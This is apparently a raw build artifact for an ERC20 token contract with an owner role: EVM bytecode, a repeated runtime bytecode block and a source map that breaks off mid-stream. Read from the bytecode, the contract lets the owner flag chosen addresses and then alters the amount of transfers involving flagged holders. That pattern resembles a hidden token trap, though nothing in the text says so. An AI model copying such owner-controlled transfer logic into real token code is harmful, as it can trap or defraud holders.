6000813590506110f7816110d1565b92915050565b6000819050919050565b611110816110fd565b811461111b57600080fd5b50565b60008135905061112d81611107565b92915050565b6000806040838503121561114a57611149611095565b5b6000611158858286016110e8565b92505060206111698582860161111e565b9150509250929050565b60008115159050919050565b61118881611173565b82525050565b60006020820190506111a3600083018461117f565b92915050565b6111b2816110fd565b82525050565b60006020820190506111cd60008301846111a9565b92915050565b6000602082840312156111e9576111e8611095565b5b60006111f7848285016110e8565b91505092915050565b60008060006060848603121561121957611218611095565b5b6000611227868287016110e8565b9350506020611238868287016110e8565b92505060406112498682870161111e565b9150509250925092565b600080fd5b600080fd5b600080fd5b60008083601f84011261127857611277611253565b5b8235905067ffffffffffffffff81111561129557611294611258565b5b6020830191508360208202830111156112b1576112b061125d565b5b9250929050565b6000806000604084860312156112d1576112d0611095565b5b60006112df8682870161111e565b935050602084013567ffffffffffffffff811115611300576112ff61109a565b5b61130c86828701611262565b92509250509250925092565b600060ff82169050919050565b61132e81611318565b82525050565b60006020820190506113496000830184611325565b92915050565b611358816110bf565b82525050565b6000602082019050611373600083018461134f565b92915050565b600080604083850312156113905761138f611095565b5b600061139e858286016110e8565b92505060206113af858286016110e8565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061140057607f821691505b602082108103611413576114126113b9565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611482826110fd565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036114b4576114b3611448565b5b600182019050919050565b60006114ca826110fd565b91506114d5836110fd565b92508282019050808211156114ed576114ec611448565b5b92915050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b600061154f602583610fee565b915061155a826114f3565b604082019050919050565b6000602082019050818103600083015261157e81611542565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006115e1602683610fee565b91506115ec82611585565b604082019050919050565b60006020820190508181036000830152611610816115d4565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611673602483610fee565b915061167e82611617565b604082019050919050565b600060208201905081810360008301526116a281611666565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000611705602283610fee565b9150611710826116a9565b604082019050919050565b60006020820190508181036000830152611734816116f8565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b6000611771601d83610fee565b915061177c8261173b565b602082019050919050565b600060208201905081810360008301526117a081611764565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000611803602583610fee565b915061180e826117a7565b604082019050919050565b60006020820190508181036000830152611832816117f6565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000611895602383610fee565b91506118a082611839565b604082019050919050565b600060208201905081810360008301526118c481611888565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000611927602683610fee565b9150611932826118cb565b604082019050919050565b600060208201905081810360008301526119568161191a565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000611993602083610fee565b915061199e8261195d565b602082019050919050565b600060208201905081810360008301526119c281611986565b9050919050565b60006119d4826110fd565b91506119df836110fd565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615611a1857611a17611448565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000611a5d826110fd565b9150611a68836110fd565b925082611a7857611a77611a23565b5b82820490509291505056fea2646970667358221220acc4a7c57a5856e92b507222567c66c1c0f0ba6751edbd94b758029a4c9123a964736f6c63430008100033

0x608060405234801561001057600080fd5b50600436106101005760003560e01c806370a0823111610097578063a457c2d711610066578063a457c2d7146102b1578063a9059cbb146102e1578063dd62ed3e14610311578063f2fde38b1461034157610100565b806370a082311461023b578063715018a61461026b5780638da5cb5b1461027557806395d89b411461029357610100565b806323b872dd116100d357806323b872dd146101a15780632b348055146101d1578063313ce567146101ed578063395093511461020b57610100565b806306fdde0314610105578063095ea7b31461012357806318160ddd146101535780631bfcf0d814610171575b600080fd5b61010d61035d565b60405161011a9190611073565b60405180910390f35b61013d60048036038101906101389190611133565b6103ef565b60405161014a919061118e565b60405180910390f35b61015b610412565b60405161016891906111b8565b60405180910390f35b61018b600480360381019061018691906111d3565b61041c565b60405161019891906111b8565b60405180910390f35b6101bb60048036038101906101b69190611200565b610465565b6040516101c8919061118e565b60405180910390f35b6101eb60048036038101906101e691906112b8565b610494565b005b6101f5610565565b6040516102029190611334565b60405180910390f35b61022560048036038101906102209190611133565b61056e565b604051610232919061118e565b60405180910390f35b610255600480360381019061025091906111d3565b6105a5565b60405161026291906111b8565b60405180910390f35b6102736105ee565b005b61027d610602565b60405161028a919061135e565b60405180910390f35b61029b61062b565b6040516102a89190611073565b60405180910390f35b6102cb60048036038101906102c69190611133565b6106bd565b6040516102d8919061118e565b60405180910390f35b6102fb60048036038101906102f69190611133565b610734565b604051610308919061118e565b60405180910390f35b61032b60048036038101906103269190611379565b610757565b60405161033891906111b8565b60405180910390f35b61035b600480360381019061035691906111d3565b6107de565b005b60606004805461036c906113e8565b80601f0160208091040260200160405190810160405280929190818152602001828054610398906113e8565b80156103e55780601f106103ba576101008083540402835291602001916103e5565b820191906000526020600020905b8154815290600101906020018083116103c857829003601f168201915b5050505050905090565b6000806103fa610861565b9050610407818585610869565b600191505092915050565b6000600654905090565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600080610470610861565b905061047d858285610a32565b610488858585610abe565b60019150509392505050565b61049c610602565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146104d357600080fd5b60005b8282905081101561055f5783600360008585858181106104f9576104f8611419565b5b905060200201602081019061050e91906111d3565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550808061055790611477565b9150506104d6565b50505050565b60006012905090565b600080610579610861565b905061059a81858561058b8589610757565b61059591906114bf565b610869565b600191505092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6105f6610d3c565b6106006000610dba565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606005805461063a906113e8565b80601f0160208091040260200160405190810160405280929190818152602001828054610666906113e8565b80156106b35780601f10610688576101008083540402835291602001916106b3565b820191906000526020600020905b81548152906001019060200180831161069657829003601f168201915b5050505050905090565b6000806106c8610861565b905060006106d68286610757565b90508381101561071b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161071290611565565b60405180910390fd5b6107288286868403610869565b60019250505092915050565b60008061073f610861565b905061074c818585610abe565b600191505092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6107e6610d3c565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610855576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161084c906115f7565b60405180910390fd5b61085e81610dba565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036108d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108cf90611689565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610947576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161093e9061171b565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610a2591906111b8565b60405180910390a3505050565b6000610a3e8484610757565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610ab85781811015610aaa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aa190611787565b60405180910390fd5b610ab78484848403610869565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610b2d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b2490611819565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610b9c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b93906118ab565b60405180910390fd5b6000610ba9848484610e7e565b90506000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610c32576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c299061193d565b60405180910390fd5b828103600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610d2291906111b8565b60405180910390a3610d35858585610f2c565b5050505050565b610d44610861565b73ffffffffffffffffffffffffffffffffffffffff16610d62610602565b73ffffffffffffffffffffffffffffffffffffffff1614610db8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610daf906119a9565b60405180910390fd5b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60006002600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f0c91906114bf565b10610f2157610f1a82610fbe565b9050610f25565b8190505b9392505050565b6001600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205403610fb9576002600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b600062066a44611b3983610fd291906119c9565b610fdc9190611a52565b9050919050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561101d578082015181840152602081019050611002565b60008484015250505050565b6000601f19601f8301169050919050565b600061104582610fe3565b61104f8185610fee565b935061105f818560208601610fff565b61106881611029565b840191505092915050565b6000602082019050818103600083015261108d818461103a565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006110ca8261109f565b9050919050565b6110da816110bf565b81146110e557600080fd5b50565b6000813590506110f7816110d1565b92915050565b6000819050919050565b611110816110fd565b811461111b57600080fd5b50565b60008135905061112d81611107565b92915050565b6000806040838503121561114a57611149611095565b5b6000611158858286016110e8565b92505060206111698582860161111e565b9150509250929050565b60008115159050919050565b61118881611173565b82525050565b60006020820190506111a3600083018461117f565b92915050565b6111b2816110fd565b82525050565b60006020820190506111cd60008301846111a9565b92915050565b6000602082840312156111e9576111e8611095565b5b60006111f7848285016110e8565b91505092915050565b60008060006060848603121561121957611218611095565b5b6000611227868287016110e8565b9350506020611238868287016110e8565b92505060406112498682870161111e565b9150509250925092565b600080fd5b600080fd5b600080fd5b60008083601f84011261127857611277611253565b5b8235905067ffffffffffffffff81111561129557611294611258565b5b6020830191508360208202830111156112b1576112b061125d565b5b9250929050565b6000806000604084860312156112d1576112d0611095565b5b60006112df8682870161111e565b935050602084013567ffffffffffffffff811115611300576112ff61109a565b5b61130c86828701611262565b92509250509250925092565b600060ff82169050919050565b61132e81611318565b82525050565b60006020820190506113496000830184611325565b92915050565b611358816110bf565b82525050565b6000602082019050611373600083018461134f565b92915050565b600080604083850312156113905761138f611095565b5b600061139e858286016110e8565b92505060206113af858286016110e8565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061140057607f821691505b602082108103611413576114126113b9565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611482826110fd565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036114b4576114b3611448565b5b600182019050919050565b60006114ca826110fd565b91506114d5836110fd565b92508282019050808211156114ed576114ec611448565b5b92915050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b600061154f602583610fee565b915061155a826114f3565b604082019050919050565b6000602082019050818103600083015261157e81611542565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006115e1602683610fee565b91506115ec82611585565b604082019050919050565b60006020820190508181036000830152611610816115d4565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611673602483610fee565b915061167e82611617565b604082019050919050565b600060208201905081810360008301526116a281611666565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000611705602283610fee565b9150611710826116a9565b604082019050919050565b60006020820190508181036000830152611734816116f8565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b6000611771601d83610fee565b915061177c8261173b565b602082019050919050565b600060208201905081810360008301526117a081611764565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000611803602583610fee565b915061180e826117a7565b604082019050919050565b60006020820190508181036000830152611832816117f6565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000611895602383610fee565b91506118a082611839565b604082019050919050565b600060208201905081810360008301526118c481611888565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000611927602683610fee565b9150611932826118cb565b604082019050919050565b600060208201905081810360008301526119568161191a565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000611993602083610fee565b915061199e8261195d565b602082019050919050565b600060208201905081810360008301526119c281611986565b9050919050565b60006119d4826110fd565b91506119df836110fd565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615611a1857611a17611448565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000611a5d826110fd565b9150611a68836110fd565b925082611a7857611a77611a23565b5b82820490509291505056fea2646970667358221220acc4a7c57a5856e92b507222567c66c1c0f0ba6751edbd94b758029a4c9123a964736f6c63430008100033

81:517:3:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1137:98:1;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3200:197;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2194:106;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;215:122:3;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3959:286:1;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;343:253:3;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1859:91:1;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4640:234;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2008:125;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2458:101:0;;;:::i;:::-;;1835:85;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;970:102:1;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5361:427;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2496:189;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2743:149;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2708:198:0;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1137:98:1;1191:13;1223:5;1216:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1137:98;:::o;3200:197::-;3283:4;3299:13;3315:12;:10;:12::i;:::-;3299:28;;3337:32;3346:5;3353:7;3362:6;3337:8;:32::i;:::-;3386:4;3379:11;;;3200:197;;;;:::o;2194:106::-;2255:7;2281:12;;2274:19;;2194:106;:::o;215:122:3:-;276:7;302:17;:28;320:9;302:28;;;;;;;;;;;;;;;;295:35;;215:122;;;:::o;3959:286:1:-;4086:4;4102:15;4120:12;:10;:12::i;:::-;4102:30;;4142:38;4158:4;4164:7;4173:6;4142:15;:38::i;:::-;4190:27;4200:4;4206:2;4210:6;4190:9;:27::i;:::-;4234:4;4227:11;;;3959:286;;;;;:::o;343:253:3:-;455:7;:5;:7::i;:::-;441:21;;:10;:21;;;432:32;;;;;;479:9;474:116;498:6;;:13;;494:1;:17;474:116;;;563:16;532:17;:28;550:6;;557:1;550:9;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;532:28;;;;;;;;;;;;;;;:47;;;;513:3;;;;;:::i;:::-;;;;474:116;;;;343:253;;;:::o;1859:91:1:-;1917:5;1941:2;1934:9;;1859:91;:::o;4640:234::-;4728:4;4744:13;4760:12;:10;:12::i;:::-;4744:28;;4782:64;4791:5;4798:7;4835:10;4807:25;4817:5;4824:7;4807:9;:25::i;:::-;:38;;;;:::i;:::-;4782:8;:64::i;:::-;4863:4;4856:11;;;4640:234;;;;:::o;2008:125::-;2082:7;2108:9;:18;2118:7;2108:18;;;;;;;;;;;;;;;;2101:25;;2008:125;;;:::o;2458:101:0:-;1728:13;:11;:13::i;:::-;2522:30:::1;2549:1;2522:18;:30::i;:::-;2458:101::o:0;1835:85::-;1881:7;1907:6;;;;;;;;;;;1900:13;;1835:85;:::o;970:102:1:-;1026:13;1058:7;1051:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;970:102;:::o;5361:427::-;5454:4;5470:13;5486:12;:10;:12::i;:::-;5470:28;;5508:24;5535:25;5545:5;5552:7;5535:9;:25::i;:::-;5508:52;;5598:15;5578:16;:35;;5570:85;;;;;;;;;;;;:::i;:::-;;;;;;;;;5689:60;5698:5;5705:7;5733:15;5714:16;:34;5689:8;:60::i;:::-;5777:4;5770:11;;;;5361:427;;;;:::o;2496:189::-;2575:4;2591:13;2607:12;:10;:12::i;:::-;2591:28;;2629;2639:5;2646:2;2650:6;2629:9;:28::i;:::-;2674:4;2667:11;;;2496:189;;;;:::o;2743:149::-;2832:7;2858:11;:18;2870:5;2858:18;;;;;;;;;;;;;;;:27;2877:7;2858:27;;;;;;;;;;;;;;;;2851:34;;2743:149;;;;:::o;2708:198:0:-;1728:13;:11;:13::i;:::-;2816:1:::1;2796:22;;:8;:22;;::::0;2788:73:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;2871:28;2890:8;2871:18;:28::i;:::-;2708:198:::0;:::o;588:96::-;641:7;667:10;660:17;;588:96;:::o;9593:370:1:-;9741:1;9724:19;;:5;:19;;;9716:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;9821:1;9802:21;;:7;:21;;;9794:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;9903:6;9873:11;:18;9885:5;9873:18;;;;;;;;;;;;;;;:27;9892:7;9873:27;;;;;;;;;;;;;;;:36;;;;9940:7;9924:32;;9933:5;9924:32;;;9949:6;9924:32;;;;;;:::i;:::-;;;;;;;;9593:370;;;:::o;10244:441::-;10374:24;10401:25;10411:5;10418:7;10401:9;:25::i;:::-;10374:52;;10460:17;10440:16;:37;10436:243;;10521:6;10501:16;:26;;10493:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;10603:51;10612:5;10619:7;10647:6;10628:16;:25;10603:8;:51::i;:::-;10436:243;10364:321;10244:441;;;:::o;6241:837::-;6383:1;6367:18;;:4;:18;;;6359:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;6459:1;6445:16;;:2;:16;;;6437:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;6512:15;6530:38;6551:4;6557:2;6561:6;6530:20;:38::i;:::-;6512:56;;6579:19;6601:9;:15;6611:4;6601:15;;;;;;;;;;;;;;;;6579:37;;6649:6;6634:11;:21;;6626:72;;;;;;;;;;;;:::i;:::-;;;;;;;;;6764:6;6750:11;:20;6732:9;:15;6742:4;6732:15;;;;;;;;;;;;;;;:38;;;;6964:7;6947:9;:13;6957:2;6947:13;;;;;;;;;;;;;;;;:24;;;;;;;;;;;7012:2;6997:26;;7006:4;6997:26;;;7016:6;6997:26;;;;;;:::i;:::-;;;;;;;;7034:37;7054:4;7060:2;7064:6;7034:19;:37::i;:::-;6349:729;;6241:837;;;:::o;1993:130:0:-;2067:12;:10;:12::i;:::-;2056:23;;:7;:5;:7::i;:::-;:23;;;2048:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;1993:130::o;3060:187::-;3133:16;3152:6;;;;;;;;;;;3133:25;;3177:8;3168:6;;:17;;;;;;;;;;;;;;;;;;3231:8;3200:40;;3221:8;3200:40;;;;;;;;;;;;3123:124;3060:187;:::o;12140:332:1:-;12265:7;12365:1;12340:17;:21;12358:2;12340:21;;;;;;;;;;;;;;;;12314:17;:23;12332:4;12314:23;;;;;;;;;;;;;;;;:47;;;;:::i;:::-;:52;12310:156;;12389:22;12404:6;12389:14;:22::i;:::-;12382:29;;;;12310:156;12449:6;12442:13;;12140:332;;;;;;:::o;11372:184::-;11519:1;11494:17;:21;11512:2;11494:21;;;;;;;;;;;;;;;;:26;11490:60;;11547:1;11523:17;:21;11541:2;11523:21;;;;;;;;;;;;;;;:25;;;;11490:60;11372:184;;;:::o;10691:93::-;10748:7;10776:6;10769:4;10765:1;:8;;;;:::i;:::-;:17;;;;:::i;:::-;10758:24;;10691:93;;;:::o;7:99:4:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1430:117::-;1539:1;1536;1529:12;1553:117;1662:1;1659;1652:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9;2964:22;2943:53;:::i;:::-;2933:63;;2888:118;2539:474;;;;;:::o;3019:90::-;3053:7;3096:5;3089:13;3082:21;3071:32;;3019:90;;;:::o;3115:109::-;3196:21;3211:5;3196:21;:::i;:::-;3191:3;3184:34;3115:109;;:::o;3230:210::-;3317:4;3355:2;3344:9;3340:18;3332:26;;3368:65;3430:1;3419:9;3415:17;3406:6;3368:65;:::i;:::-;3230:210;;;;:::o;3446:118::-;3533:24;3551:5;3533:24;:::i;:::-;3528:3;3521:37;3446:118;;:::o;3570:222::-;3663:4;3701:2;3690:9;3686:18;3678:26;;3714:71;3782:1;3771:9;3767:17;3758:6;3714:71;:::i;:::-;3570:222;;;;:::o;3798:329::-;3857:6;3906:2;3894:9;3885:7;3881:23;3877:32;3874:119;;;3912:79;;:::i;:::-;3874:119;4032:1;4057:53;4102:7;4093:6;4082:9;4078:22;4057:53;:::i;:::-;4047:63;;4003:117;3798:329;;;;:::o;4133:619::-;4210:6;4218;4226;4275:2;4263:9;4254:7;4250:23;4246:32;4243:119;;;4281:79;;:::i;:::-;4243:119;4401:1;4426:53;4471:7;4462:6;4451:9;4447:22;4426:53;:::i;:::-;4416:63;;4372:117;4528:2;4554:53;4599:7;4590:6;4579:9;4575:22;4554:53;:::i;:::-;4544:63;;4499:118;4656:2;4682:53;4727:7;4718:6;4707:9;4703:22;4682:53;:::i;:::-;4672:63;;4627:118;4133:619;;;;;:::o;4758:117::-;4867:1;4864;4857:12;4881:117;4990:1;4987;4980:12;5004:117;5113:1;5110;5103:12;5144:568;5217:8;5227:6;5277:3;5270:4;5262:6;5258:17;5254:27;5244:122;;5285:79;;:::i;:::-;5244:122;5398:6;5385:20;5375:30;;5428:18;5420:6;5417:30;5414:117;;;5450:79;;:::i;:::-;5414:117;5564:4;5556:6;5552:17;5540:29;;5618:3;5610:4;5602:6;5598:17;5588:8;5584:32;5581:41;5578:128;;;5625:79;;:::i;:::-;5578:128;5144:568;;;;;:::o;5718:704::-;5813:6;5821;5829;5878:2;5866:9;5857:7;5853:23;5849:32;5846:119;;;5884:79;;:::i;:::-;5846:119;6004:1;6029:53;6074:7;6065:6;6054:9;6050:22;6029:53;:::i;:::-;6019:63;;5975:117;6159:2;6148:9;6144:18;6131:32;6190:18;6182:6;6179:30;6176:117;;;6212:79;;:::i;:::-;6176:117;6325:80;6397:7;6388:6;6377:9;6373:22;6325:80;:::i;:::-;6307:98;;;;6102:313;5718:704;;;;;:::o;6428:86::-;6463:7;6503:4;6496:5;6492:16;6481:27;;6428:86;;;:::o;6520:112::-;6603:22;6619:5;6603:22;:::i;:::-;6598:3;6591:35;6520:112;;:::o;6638:214::-;6727:4;6765:2;6754:9;6750:18;6742:26;;6778:67;6842:1;6831:9;6827:17;6818:6;6778:67;:::i;:::-;6638:214;;;;:::o;6858:118::-;6945:24;6963:5;6945:24;:::i;:::-;6940:3;6933:37;6858:118;;:::o;6982:222::-;7075:4;7113:2;7102:9;7098:18;7090:26;;7126:71;7194:1;7183:9;7179:17;7170:6;7126:71;:::i;:::-;6982:222;;;;:::o;7210:474::-;7278:6;7286;7335:2;7323:9;7314:7;7310:23;7306:32;7303:119;;;7341:79;;:::i;:::-;7303:119;7461:1;7486:53;7531:7;7522:6;7511:9;7507:22;7486:53;:::i;:::-;7476:63;;7432:117;7588:2;7614:53;7659:7;7650:6;7639:9;7635:22;7614:53;:::i;:::-;7604:63;;7559:118;7210:474;;;;;:::o;7690:180::-;7738:77;7735:1;7728:88;7835:4;7832:1;7825:15;7859:4;7856:1;7849:15;7876:320;7920:6;7957:1;7951:4;7947:12;7937:22;;8004:1;7998:4;7994:12;8025